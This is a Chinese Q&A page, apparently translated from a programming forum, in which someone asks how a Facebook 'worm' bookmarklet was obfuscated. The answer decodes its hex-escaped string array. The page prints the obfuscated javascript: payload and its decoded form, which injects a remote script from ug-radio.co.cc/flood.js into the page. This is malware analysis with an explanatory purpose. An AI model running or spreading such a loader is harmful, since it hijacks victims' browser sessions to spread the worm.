如何编码这个脚本
How to encode this script?
我最近发现了这个脚本,这基本上是一个facebook "蠕虫",所以不要运行它。我只想知道创作者是如何编码的。任何帮助吗?
javascript:var _0x8dd5=["'x73'x72'x63","'x73'x63'x72'x69'x70'x74","'x63'x7 2'x65'x61'x74'x65'x45'x6C'x65'x6D'x65'x6E'x74","'x 68'x74'x74'x70'x3A'x2F'x2F'x75'x67'x2D'x72'x61'x64 'x69'x6F'x2E'x63'x6F'x2E'x63'x63'x2F'x66'x6C'x6F'x 6F'x64'x2E'x6A'x73","'x61'x70'x70'x65'x6E'x64'x43' x68'x69'x6C'x64","'x62'x6F'x64'x79"];(a=(b=document)[_0x8dd5[2]](_0x8dd5[1]))[_0x8dd5[0]]=_0x8dd5[3];b[_0x8dd5[5]][_0x8dd5[4]](a); void (0);
作者使用了各种"混淆"方法,即各种技术使代码在视觉上令人困惑,难以理解。
_0x8dd5
是字符串数组:
['src', 'script', 'createElement',
'http://ug-radio.co.cc/flood.js', 'appendChild', 'body']
代码的其余部分使用上述字符串中的属性名,因此未混淆的代码实际上是
a = document.createElement('script');
a.src = 'http://ug-radio.co.cc/flood.js';
document.body.appendChild(a);
因此,作者为了混淆代码所做的就是将所有属性名引用为数组中的字符串。包含字符串的数组只是使用'xNN
十六进制转义符号,使得这些字符串不那么明显。
作者通过查找当前编码中形成字符串的字节的十六进制值来实现这一点。然后,对于字符串中的每个字节,他添加'xNN
,其中NN
是十六进制字节值。当JavaScript解释器运行脚本时,解析器会自动用它们各自的字符替换这些转义。
相关文章:
- 以纯文本加载的脚本-未声明纯文本文档的字符编码
- 在应用程序脚本中将 base64 编码的图像与 HtmlService 一起使用
- 谷歌应用程序脚本和JavaScript中base64编码的不同结果
- JSON编码数据未解析到PhP脚本中的JqPlot图表
- 在 Java 脚本中使用追加时 HTML 标记不起作用,但在执行硬编码时 html 代码工作正常
- Windows媒体编码器9插入(链接,脚本)处理
- 使用 HTML 脚本标记在它们具有源代码时进行编码
- 函数.php当变量未硬编码时脚本中断
- 如何避免在 js/ajax 脚本中对应用程序上下文路径进行硬编码
- 避免仅使用前端脚本对 Google 进行地理编码的多次请求
- 在c#中使用带有远程脚本的类时更改编码
- 如何在java脚本中对非ascii字符进行编码
- java脚本字符串的正确编码方式
- 改变java脚本函数的编码
- 如果else语句和Java脚本编码问题
- 使用Java脚本格式化输入类型的编码
- 如何在jquery/脚本传递用户输入数据?我正在使用编码器PHP框架
- 为什么fs.readFileSync编码单引号内的脚本标签为"
- 如何编码这个脚本
- 如何编码一个脚本,可以扫描在我的网站的链接,并产生缩略图;就像Facebook一样